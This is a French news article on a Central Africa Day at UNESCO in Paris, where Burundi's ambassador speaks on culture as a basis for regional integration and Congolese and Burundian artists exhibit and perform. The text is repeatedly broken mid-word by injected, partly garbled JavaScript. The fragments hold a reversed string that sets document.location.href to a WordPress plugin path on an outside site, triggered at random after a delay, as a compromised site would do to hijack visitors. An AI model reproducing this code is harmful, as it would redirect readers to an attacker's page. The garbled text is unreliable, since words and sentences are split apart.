AFRIQUE

Unesco : célébration de la Journée de l’Afrique centrale

Les ambassadeurs du sous-groupe de la sous-région, accrédités en France et auprès de l’Unesco, ont commémoré leur événement sur le thème : « La culture : facteur d’intégration régionale en Afrique centrale ».

Sur invitation du Dr Christine Nina Niyonsavye, ambassadeur extraordinaire et plénipotentiaire de la République du Burundi en France, présidente du sous-groupe Afrique centrale auprès de l’Unesco, et en compagnie de ses homologues délégués permanents de cette zone géographique s’est tenue, le 19 février à la Maison de l’Unesco à Paris, une journée destinée à montrer aux distingués invités et aux visiteurs « une autre face de la richesse de la sous-région ».

Pour sa première prise de parole au nom du sous-groupe après la 39e session de la Conférence générale ayant permis l’élection de l’actuelle directrice générale, le Dr Christine Nina Niyonsavye a adressé ses félicitations à Audrey Azouley toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout en lui assurant son soutien dans l’accomplissement de sa mission.

Dans son discours, elle a expliqué que, contrairement à certaines idées reçues, l’Afrique centrale n’est pas un foyer de guerres, de misère, mais plutôt, « une partie de cette Afrique rayonnante par l’originalité de ses œuvres, une Afrique prête à affronter les défis pour avancer vers le développement durable avec, comme base, sa culture » ; « Culture comme fondement de l’intégration régionale. », citant en référence le sommet des chefs d’Etat qui s’est tenu le 31 octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre de l’année dernière.

Elle a évoqué cette Afrique centrale où cohabitent les ressemblances au niveau de la culture ; ses royaumes, les langues vernaculaires, les croyances où les divers mets sont autant de similitudes qui demeurent, entre ses habitants, une base solide sur laquelle repose cette intégration.

L’histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire des royaumes de cette contrée où, à l’époque de la colonisation, dès le XIVe siècle, le roi de Mbanza Kongo régnait en Angola à la tête d’un royaume bien organisé, a été rappelée. « C’est l’occasion de remercier la communauté internationale de l’avoir inscrit sur la liste du patrimoine mondial de l’humanité. », a-t-elle clamé.

L’héritage de ce royaume aujourd’hui, c’est, entre autres, l’art culinaire constitué de plats à base de banane et de manioc, préparés différemment selon les pays. « Ce sont des ressemblances culturelles bien qu’avec de minimes différences. Cela nous permet de vivre dans la diversité et, en conséquence, de constituer une source d’enrichissement mutuel. », a-t-elle ajouté.

Désireuse d’achever en couleurs son propos, la présidente du sous-groupe a invité l’assistance à découvrir les différents tableaux et œuvres de l’Afrique centrale. Parmi les exposants, l’artiste-peintre de RDC, Kezi Willys, et la styliste-photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographe Motse Akanati venue avec des photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographies réalisées sur le pont de la corniche débaptisé Pont-du-15- août 1960 : « J’ai réalisé ces œuvres en fonction du thème de la journée : mettre un pont entre les cultures. », a expliqué la Congolaise.

C’est au son de la guitare de l’artiste Dana Balka Sound et d’une animation vidéo des artistes burundais « Ingoma » que se sont clôturées les festivités.

Alors qu’il assistait pour la première fois à la Journée de l’Afrique centrale, le nouvel ambassadeur, en attente de la présentation de ses lettres de créance, le délégué permanent du Congo, Henri Ossebi, en remplacement de Jean-Marie Atoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doua, a exprimé ses compliments et sa satisfaction à l’issue de la cérémonie.

Marie Alfred Ngoma

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